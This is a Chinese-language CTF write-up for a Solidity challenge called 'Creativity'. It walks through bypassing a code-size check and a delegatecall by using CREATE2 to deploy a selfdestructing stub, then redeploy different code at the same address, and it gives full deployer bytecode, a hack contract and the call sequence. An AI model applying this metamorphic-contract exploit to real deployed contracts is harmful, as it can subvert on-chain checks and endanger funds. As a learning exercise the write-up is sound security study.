CTF-Creativity
题目:要求调用sendFlag(),记录事件
源代码:
pragma solidity ^0.5.10;
contract Creativity { event SendFlag(address addr); address public target; uint randomNumber = 0; function check(address _addr) public { uint size; assembly { size := extcodesize(_addr) } require(size > 0 && size <= 4); target = _addr; } function execute() public { require(target != address(0)); target.delegatecall(abi.encodeWithSignature("")); selfdestruct(address(0)); } function sendFlag() public payable { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); } }
|
这题涉及到汇编,委托调用,还有一个不明显的create2的用法
首先看到check函数,要求参数地址的合约代码大小不能超过4字节,这是很难办到的,在ethernaunt上遇到过这种类似的题,只不过那上面的题考察点没有这个题多。
继续看到execute函数,首先进行了零地址的检查,在进行委托调用,最后是自毁函数
如果我们要直接调用sendFlag函数,必须发送value大于100000000ehter,这是肯定是不可采取的措施,怎样才能绕过这个require,我们就要回到execute函数中,突破口是:target.detegatecall(),通过委托调用target合约,执行结果在Createtivity合约中,这样就清晰了
我们可以通过create2的一个骚操作,在同一个地址上部署合约,合约的字节码可以不同,简单来说,就是在同一个地址上先后部署不同的合约,这样就可以实现,第一个部署的合约,满足自毁函数,第二个部署的合约,实现合约中的emit SendFlag事件
接下来就是考虑如何用代码实现create的功能
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;
contract Deployer { bytes public deployBytecode; address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; // Compile Dumper to get this bytecode bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe'; assembly { a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866) } deployedAddr = a; } }
contract Dumper { constructor() public { Deployer dp = Deployer(msg.sender); bytes memory bytecode = dp.deployBytecode(); assembly { return (add(bytecode, 0x20), mload(bytecode)) } } }
|
以上有俩个代码,先部署Dumper合约,获得它的字节码,Deployer合约实现create2的功能
首先先将Deployer 部署,获得地址:0x307FdF03B1842A501F52221e4cF02D67BfeEc399
然后使用Deployer.deploy部署0x33ff,得到部署的合约地址0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663
调用check(),target就是我们部署的合约
然后在进行自毁,给我们已经部署的合约发一笔空交易,让它进行自毁,再次使用create2的操作,还是使用Deployer.deploy在这个地址部署另一个合约,合约的内容要包括emit SendFlag(0),
这里有个简单的hack合约
contract hack {
event SendFlag(address addr);
constructor() public {
emit SendFlag(address(0));
}
}
最后再调用execute函数,就会执行我们第二次部署的合约里的emit SendFlag;
完成以上步骤,就可以看到我们已经成功执行了emit SendFlag
补充
creat2的用法:在solidity 8.0版本之后,都是使用new关键字来创建合约,但是它还有一种就是使用内联汇编(assembly)
主要说一下,new的方法创建合约.直接上合约
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
// 被创建合约 contract Callee { string value1; string value2;
// 构造函数有两个参数 constructor(string memory _value1,string memory _value2) { value1 = _value1; value2 = _value2; } }
// 合约创建者 contract ContractCreator { // 新合约地址 address public contractAddress;
// 创建合约 function newContract(string memory value1,string memory value2) external { // 生成盐值 bytes32 salt = keccak256(abi.encodePacked(value1,value2)); // 创建 Callee 合约实例,参数为 _salt, value1, value2 Callee callee = new Callee{salt:salt}(value1, value2); // 设置新建合约的地址 contractAddress = address(callee); } }
|
委托调用:看这俩篇文章1,文章2,讲的很好。